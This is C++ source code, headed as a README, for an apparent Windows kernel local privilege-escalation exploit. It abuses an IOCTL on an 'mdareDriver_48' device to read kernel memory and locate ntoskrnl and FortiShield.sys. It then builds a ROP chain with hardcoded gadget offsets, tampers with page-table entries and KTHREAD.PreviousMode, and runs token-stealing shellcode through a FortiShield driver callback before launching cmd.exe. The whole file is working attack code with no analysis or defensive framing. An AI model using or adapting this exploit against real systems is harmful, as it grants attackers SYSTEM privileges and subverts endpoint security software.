README.md
Rendering markdown...
#include "stdafx.h"
#include <windows.h>
#include "ntos.h"
#include <stdio.h>
#include <stdlib.h>
#include <Psapi.h>
#include <Shlobj.h>
#pragma comment (lib,"psapi")
#pragma comment(lib, "ntdll_x64.lib")
#define EPROCESS_ThreadListHead_Offset 0x5e0
#define ETHREAD_ThreadListEntry_Offset 0x4e8
#define ETHREAD_Tcb_Offset 0x000
#define ETHREAD_Cid_Offset 0x478
#define CLIENTID_UniqueThread_Offset 0x8
extern "C" void TokenStealing();
typedef enum _SUPERFETCH_INFORMATION_CLASS
{
SuperfetchRetrieveTrace = 0x1,
SuperfetchSystemParameters = 0x2,
SuperfetchLogEvent = 0x3,
SuperfetchGenerateTrace = 0x4,
SuperfetchPrefetch = 0x5,
SuperfetchPfnQuery = 0x6,
SuperfetchPfnSetPriority = 0x7,
SuperfetchPrivSourceQuery = 0x8,
SuperfetchSequenceNumberQuery = 0x9,
SuperfetchScenarioPhase = 0xA,
SuperfetchWorkerPriority = 0xB,
SuperfetchScenarioQuery = 0xC,
SuperfetchScenarioPrefetch = 0xD,
SuperfetchRobustnessControl = 0xE,
SuperfetchTimeControl = 0xF,
SuperfetchMemoryListQuery = 0x10,
SuperfetchMemoryRangesQuery = 0x11,
SuperfetchTracingControl = 0x12,
SuperfetchTrimWhileAgingControl = 0x13,
SuperfetchInformationMax = 0x14,
} SUPERFETCH_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)(
_In_ HANDLE ProcessHandle,
_In_ PVOID BaseAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytesToWrite,
_Out_opt_ PULONG NumberOfBytesWritten
);
typedef struct _SUPERFETCH_INFORMATION
{
ULONG Version;
ULONG Magic;
SUPERFETCH_INFORMATION_CLASS InfoClass;
PVOID Data;
ULONG Length;
} SUPERFETCH_INFORMATION, * PSUPERFETCH_INFORMATION;
typedef enum _PFS_PRIVATE_PAGE_SOURCE_TYPE {
PfsPrivateSourceKernel = 0x0,
PfsPrivateSourceSession = 0x1,
PfsPrivateSourceProcess = 0x2,
PrfsPrivateSourceMax = 0x3,
} PFS_PRIVATE_PAGE_SOURCE_TYPE;
#pragma pack(push)
#pragma pack(4)
typedef struct _PFS_PRIVATE_PAGE_SOURCE
{
PFS_PRIVATE_PAGE_SOURCE_TYPE Type;
union {
DWORD SessionId;
DWORD ProcessId;
};
DWORD SpareDwords[2];
ULONG ImagePathHash;
ULONG UniqueProcessHash;
} PFS_PRIVATE_PAGE_SOURCE, * PPFS_PRIVATE_PAGE_SOURCE;
typedef struct _PF_PRIVSOURCE_INFO_V3 {
PFS_PRIVATE_PAGE_SOURCE DbInfo;
union {
ULONG_PTR EProcess;
ULONG_PTR GlobalVA;
};
ULONG WsPrivatePages;
ULONG TotalPrivatePages;
ULONG SessionID;
CHAR ImageName[16];
BYTE SpareBytes[12];
} PF_PRIVSOURCE_INFO_V3, * PPF_PRIVSOURCE_INFO_V3;
typedef struct _PF_PRIVSOURCE_INFO_V3PLUS {
BYTE data2[8];
DWORD ProcessId;
BYTE data3[16];
ULONG_PTR EProcess;
BYTE data[60];
} PF_PRIVSOURCE_INFO_V3PLUS, * PPF_PRIVSOURCE_INFO_V3PLUS;
typedef struct _PF_PRIVSOURCE_QUERY_REQUEST {
ULONG Version;
union {
__declspec(align(4)) struct {
ULONG InfoCount;
PF_PRIVSOURCE_INFO_V3 InfoArrayV3[1];
} __sv3;
__declspec(align(4)) struct {
ULONG Type;
ULONG InfoCount;
PF_PRIVSOURCE_INFO_V3PLUS InfoArrayV3Plus[1];
} __sv3plus;
} __u0;
} PF_PRIVSOURCE_QUERY_REQUEST, * PPF_PRIVSOURCE_QUERY_REQUEST;
#pragma pack(pop)
ULONGLONG GetEprocessAddress(const char* target)
{
ULONG superfetch_info_size;
PF_PRIVSOURCE_QUERY_REQUEST* pf_privsource_query_request;
SUPERFETCH_INFORMATION superfetch_info = { 0 };
BYTE temp_buffer[0x70];
ZeroMemory(temp_buffer, sizeof(temp_buffer));
PPEB peb = (PPEB)NtCurrentTeb()->ProcessEnvironmentBlock;
DWORD dwBuildNumber = peb->OSBuildNumber;
*(DWORD*)temp_buffer = 8; // Windows 10
switch (dwBuildNumber)
{
case 7600:
case 7601:
*(DWORD*)temp_buffer = 3;
break;
case 9200:
*(DWORD*)temp_buffer = 5;
break;
case 9600:
*(DWORD*)temp_buffer = 6;
break;
}
*(DWORD*)&temp_buffer[4] = 0;
superfetch_info.InfoClass = SuperfetchPrivSourceQuery;
superfetch_info.Version = 45;
superfetch_info.Magic = 'kuhC';
superfetch_info.Data = temp_buffer;
superfetch_info.Length = sizeof(temp_buffer);
NTSTATUS status;
ULONG pf_privsource_query_request_version = *(DWORD*)temp_buffer;
status = NtQuerySystemInformation(SystemSuperfetchInformation, &superfetch_info, sizeof(SUPERFETCH_INFORMATION), &superfetch_info_size);
pf_privsource_query_request = (PF_PRIVSOURCE_QUERY_REQUEST*)LocalAlloc(LPTR, 2 * superfetch_info_size);
pf_privsource_query_request->__u0.__sv3.InfoCount = 0;
pf_privsource_query_request->Version = pf_privsource_query_request_version;
superfetch_info.Data = pf_privsource_query_request;
superfetch_info.Length = 2 * superfetch_info_size;
status = NtQuerySystemInformation(SystemSuperfetchInformation, &superfetch_info, sizeof(SUPERFETCH_INFORMATION), &superfetch_info_size);
auto sv3plus_request = &pf_privsource_query_request->__u0.__sv3plus;
const char* targetName = target;
const char* procName;
for (ULONG i = 0; i < sv3plus_request->InfoCount; ++i)
{
procName = (const char*)&sv3plus_request->InfoArrayV3Plus[i].data[0x14];
if (strcmp(procName, targetName) == 0) {
//printf("%15s\t%5d\t%p\n", procName, sv3plus_request->InfoArrayV3Plus[i].ProcessId, sv3plus_request->InfoArrayV3Plus[i].EProcess);
return sv3plus_request->InfoArrayV3Plus[i].EProcess;
}
}
LocalFree(pf_privsource_query_request);
}
PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
{
memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
leak_buffer[0] = 0x000000001a000008;
leak_buffer[1] = 0x0000000000000003;
leak_buffer[4] = 0x000000001a000028;
leak_buffer[6] = addr - 0x70;
DWORD IoControlCode = 0x22608C;
LPVOID InputBuffer = (LPVOID)0x000000001a000000;
DWORD InputBufferLength = 0x20;
LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
DWORD OutputBufferLength = 0x110;
DWORD lpBytesReturned;
BOOL triggerIOCTL;
triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
if (!triggerIOCTL)
{
//printf("[!] Error in the SYSCALL: %d\n", GetLastError());
}
ULONGLONG result = leak_buffer[0x202];
return result;
}
ULONGLONG leakNtBase(HANDLE driver, ULONGLONG kthread)
{
ULONGLONG ntAddr = leakQWORD(kthread + 0x2a8, driver);
ULONGLONG baseAddr = ntAddr - 0x396370;
/*ULONGLONG signature = 0x00905a4d;
ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;
while (TRUE)
{
ULONGLONG readData = leakQWORD(searchAddr, driver);
ULONGLONG tmp = readData & 0xFFFFFFFF;
printf("%llx\n", readData);
printf("%llx\n", tmp);
if (tmp == signature)
{
baseAddr = searchAddr;
break;
}
searchAddr = searchAddr - 0x1000;
}*/
return baseAddr;
}
ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
{
ULONGLONG PsLoadModuleListAddr = ntBase + 0xc2a310;
ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
ULONGLONG addr = 0;
while (1)
{
ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
ULONGLONG name = leakQWORD(namePointer, driver);
if (name == 0x00740072006f0046)
{
name = leakQWORD(namePointer + 8, driver);
if (name == 0x0069006800530069)
{
addr = leakQWORD(searchAddr + 0x30, driver);
break;
}
}
searchAddr = leakQWORD(searchAddr, driver);
}
return addr;
}
ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG kThread)
{
PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000B60E0000, 0x14000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (fake_stack == NULL)
{
printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
return 1;
}
/*memset(fake_stack, 0x41, 0x12000);
PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x1000;
DWORD index = 0;
// <NULL Callback>
ropStack[index] = ntBase + 0x3f01bf; index++; // pop rax ; pop rcx ; ret
ropStack[index] = fortishield_callback; index++; // FortiShield Callback
ropStack[index] = 0x0000000000000000; index++; // NULL
ropStack[index] = ntBase + 0x20d4fa; index++; // mov qword [rax], rcx ; ret
// </NULL Callback>
// <Flip U=S bit>
ropStack[index] = ntBase + 0x2017f2; index++; // pop rax ; ret
ropStack[index] = pte_result; index++; // PTE VA
ropStack[index] = ntBase + 0x4b8c62; index++; // pop rdx ; ret
ropStack[index] = 0x0000000000000063; index++; // DIRTY + ACCESSED + R/W + PRESENT
ropStack[index] = ntBase + 0x392758; index++; // mov byte [rax], dl ; add eax, 0x01740000 ; ret
ropStack[index] = ntBase + 0x37df30; index++; // wbinvd ; ret
// </Flip U=S bit>
// <Restore variables & shellcode>
ropStack[index] = 0x00000000B60F0100; index++; // Shellcode address
ropStack[index] = fortishield_restore; index++; // FortiShield return location
// </Restore variables & shellcode>
memcpy((fake_stack + 0x1100), &TokenStealing, 0xc0);
((PDWORD64)((DWORD64)fake_stack + 0x10a0))[0] = fortishield_callback;
((PDWORD64)((DWORD64)fake_stack + 0x10a8))[0] = fortishield_restore;
*/
memset(fake_stack, 0x90, 0x14000);
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x00))[0] = (ULONGLONG)ntBase + 0x3f01bf; // pop rax ; pop rcx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x08))[0] = (ULONGLONG)fortishield_callback; // Callback address
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x10))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x18))[0] = (ULONGLONG)ntBase + 0x2dd014; // mov qword [rax], rcx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x20))[0] = (ULONGLONG)ntBase + 0x3f01bf; // pop rax ; pop rcx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x28))[0] = (ULONGLONG)kThread + 0x232; // KTHREAD.PreviousMode
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x30))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x38))[0] = (ULONGLONG)ntBase + 0x49584f; // mov byte [rax], cl ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x40))[0] = (ULONGLONG)ntBase + 0x2017d0; // pop rbx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x48))[0] = 0x00000000b60f0110; // Location on fake_stack
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x50))[0] = (ULONGLONG)ntBase + 0x2017f2; // pop rax ; ret;
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x58))[0] = (ULONGLONG)ntBase + 0x217527; // mov rax, rcx ; add rsp, 0x28 ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x60))[0] = (ULONGLONG)ntBase + 0x3cd671; // mov rcx, rsi ; call rax
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x68))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x70))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x78))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x80))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x88))[0] = (ULONGLONG)ntBase + 0x20de71; // pop rcx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x90))[0] = 0x0000000000000028; // Value to subtract to get RSP
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0x98))[0] = (ULONGLONG)ntBase + 0x029db2b; // sub rax, rcx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xa0))[0] = (ULONGLONG)ntBase + 0x20de71; // pop rcx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xa8))[0] = (ULONGLONG)fortishield_restore; // Restore address
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xb0))[0] = (ULONGLONG)ntBase + 0x2dd014; // mov qword [rax], rcx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xb8))[0] = (ULONGLONG)ntBase + 0x2b82ce; // mov qword [rbx], rax ; add rsp, 0x20 ; pop rbx ; ret
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xc0))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xc8))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xd0))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xd8))[0] = 0x0000000000000000; // NULL
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xe0))[0] = 0x0000000000000000; // Restore RBX
((PDWORD64)((DWORD64)fake_stack + 0x10020 + 0xe8))[0] = (ULONGLONG)ntBase + 0x201380; // pop rsp ; ret
return 0;
}
ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start)
{
ULONGLONG result = address >> 9;
result = result | pte_start;
result = result & (pte_start + 0x0000007ffffffff8);
return result;
}
ULONGLONG get_pml4_address_64(ULONGLONG pte_start)
{
ULONGLONG pml4_start = pte_start & 0x0000fff000000000;
pml4_start = pml4_start | (pml4_start >> 9);
pml4_start = pml4_start | (pml4_start >> 9);
pml4_start = pml4_start | (pml4_start >> 9);
pml4_start = pml4_start | 0xffff000000000000;
return pml4_start;
}
ULONGLONG walkEprocess(HANDLE driver, ULONGLONG eProcess) {
DWORD currentTid = GetCurrentThreadId();
ULONGLONG listHead = eProcess + EPROCESS_ThreadListHead_Offset;
ULONGLONG flink = leakQWORD(listHead, driver);
while (flink != listHead) {
ULONGLONG ethread = flink - ETHREAD_ThreadListEntry_Offset;
ULONGLONG uniqueTid = leakQWORD(ethread + ETHREAD_Cid_Offset + CLIENTID_UniqueThread_Offset, driver);
if ((DWORD)uniqueTid == currentTid) {
ULONGLONG kthread = ethread; // Tcb is at offset 0x0
printf("[+] Found current thread:\n");
printf("[+] ETHREAD: 0x%llx\n", ethread);
printf("[+] KTHREAD: 0x%llx\n", kthread);
return kthread;
}
flink = leakQWORD(flink, driver); // Move to next thread
}
printf("[-] Current thread not found in EPROCESS thread list.\n");
}
int trigger_callback()
{
printf("[+] Creating dummy file\n");
system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
printf("[+] Creating dummy file 2\n");
system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test3.txt");
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
return 1;
}
return 0;
}
int main()
{
//LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo
HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (mdare == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (forti == INVALID_HANDLE_VALUE)
{
printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
return 1;
}
LPDWORD hThread_id = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
if (hThread == NULL)
{
printf("[!] Error while calling CreateThread: %d\n", GetLastError());
return 1;
}
BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
if (hThread_priority == 0)
{
printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
return 1;
}
ULONGLONG eProcess;
const char* forti_exploit = "kstack.exe";
eProcess = GetEprocessAddress(forti_exploit);
printf("[+] EPROCESS found %p\n", eProcess);
ULONGLONG kThread = walkEprocess(mdare, eProcess);
ULONGLONG ntBase = leakNtBase(mdare, kThread);
printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
ULONGLONG ntPivot = ntBase + 0x20bbc2; // mov esp, 0xB60F0020 ; ret // mov esp, 0xf6000000; retn;
printf("[+] stack pivot gadget found: 0x%llx\n", ntPivot);
ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x33273B, mdare);
printf("[+] ntMiGetPteAddressOffset is: 0x%llx\n", ntMiGetPteAddressOffset);
ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);
ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;
printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);
ULONGLONG pte_result = get_pxe_address_64(0xB60f0000, ntMiGetPteAddressOffset);
printf("[+] PTE virtual address for 0x0B60F0100: %I64x\n", pte_result);
allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, kThread);
DWORD IoControlCode = 0x220028;
ULONGLONG InputBuffer = ntPivot;
DWORD InputBufferLength = 0x8;
ULONGLONG OutputBuffer = 0x0;
DWORD OutputBufferLength = 0x0;
DWORD lpBytesReturned;
//DebugBreak();
getchar();
BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
getchar();
//ResumeThread(hThread);
//WaitForSingleObject(hThread, INFINITE);
trigger_callback();
Sleep(2000);
LPVOID read_qword = malloc(sizeof(ULONGLONG));
SIZE_T read_bytes;
memset(read_qword, 0x00, sizeof(ULONGLONG));
PULONGLONG ppte_base = &ntMiGetPteAddressOffset; // (PULONGLONG)((ULONG_PTR*)leakQWORD(ntBase + 0x33273B, mdare));
if (ppte_base == 0)
{
printf("[!] Error while reading from nt!MiGetPteAddress + 0x13\n");
exit(1);
}
printf("[+] PTE base address: %llx \n", *ppte_base);
ULONGLONG shellcode = 0x00000002a0000000;
LPVOID allocation_sc = VirtualAlloc((LPVOID)shellcode, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocation_sc == NULL)
{
printf("[!] Error while allocating memory for the input buffer: %d\n", GetLastError());
exit(1);
}
memset(allocation_sc, 0x90, 0x1000);
memcpy((LPVOID)((ULONGLONG)allocation_sc + 0x08), &TokenStealing, 0xc0);
((PDWORD64)((DWORD64)allocation_sc + 0x80))[0] = fortishield_callback;
((PDWORD64)((DWORD64)allocation_sc + 0x88))[0] = fortishield_restore;
ULONGLONG pte_base = (ULONGLONG)*ppte_base;
ULONGLONG pte_va = get_pxe_address_64(0x00000002a0000000, pte_base);
ULONGLONG pml4_base = get_pml4_address_64(pte_base);
printf("[+] PML4 base address: %llx \n", pml4_base);
memset(read_qword, 0x00, sizeof(ULONGLONG));
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)pte_va, read_qword, sizeof(ULONGLONG), &read_bytes))
{
printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
}
PULONGLONG ppte_entry = (PULONGLONG)((ULONG_PTR*)read_qword);
printf("[+] PTE flags: %llx \n", *ppte_entry);
ULONGLONG write_what = (ULONGLONG)*ppte_entry ^ 1 << 2;
_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory");
if (!pNtWriteVirtualMemory)
{
printf("[!] Error while resolving NtWriteVirtualMemory: %d\n", GetLastError());
exit(1);
}
pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)pte_va, &write_what, sizeof(ULONGLONG), NULL);
memset(read_qword, 0x00, sizeof(ULONGLONG));
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)pml4_base, read_qword, sizeof(ULONGLONG), &read_bytes))
{
printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
}
PULONGLONG pml4_entry = (PULONGLONG)((ULONG_PTR*)read_qword);
printf("[+] PML4 flags: %llx \n", *pml4_entry);
write_what = (ULONGLONG)*pml4_entry & 0x0fffffffffffffff;
pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)pml4_base, &write_what, sizeof(ULONGLONG), NULL);
InputBuffer = 0x00000002a0000000;
//DebugBreak();
getchar();
Sleep(2000);
triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
//trigger_callback();
printf("[+] Calling MoveFileEx()\n");
BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test3.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test4.txt", MOVEFILE_REPLACE_EXISTING);
if (MFEresult == 0)
{
printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
}
memset(read_qword, 0x00, sizeof(ULONGLONG));
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)kThread + 0x232), read_qword, sizeof(ULONGLONG), &read_bytes))
{
printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
}
PULONGLONG kThreadPM = (PULONGLONG)((ULONG_PTR*)read_qword);
write_what = (ULONGLONG)*kThreadPM ^ 1 << 0;
pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)kThread + 0x232), &write_what, sizeof(ULONGLONG), NULL);
system("start cmd.exe");
return 0;
}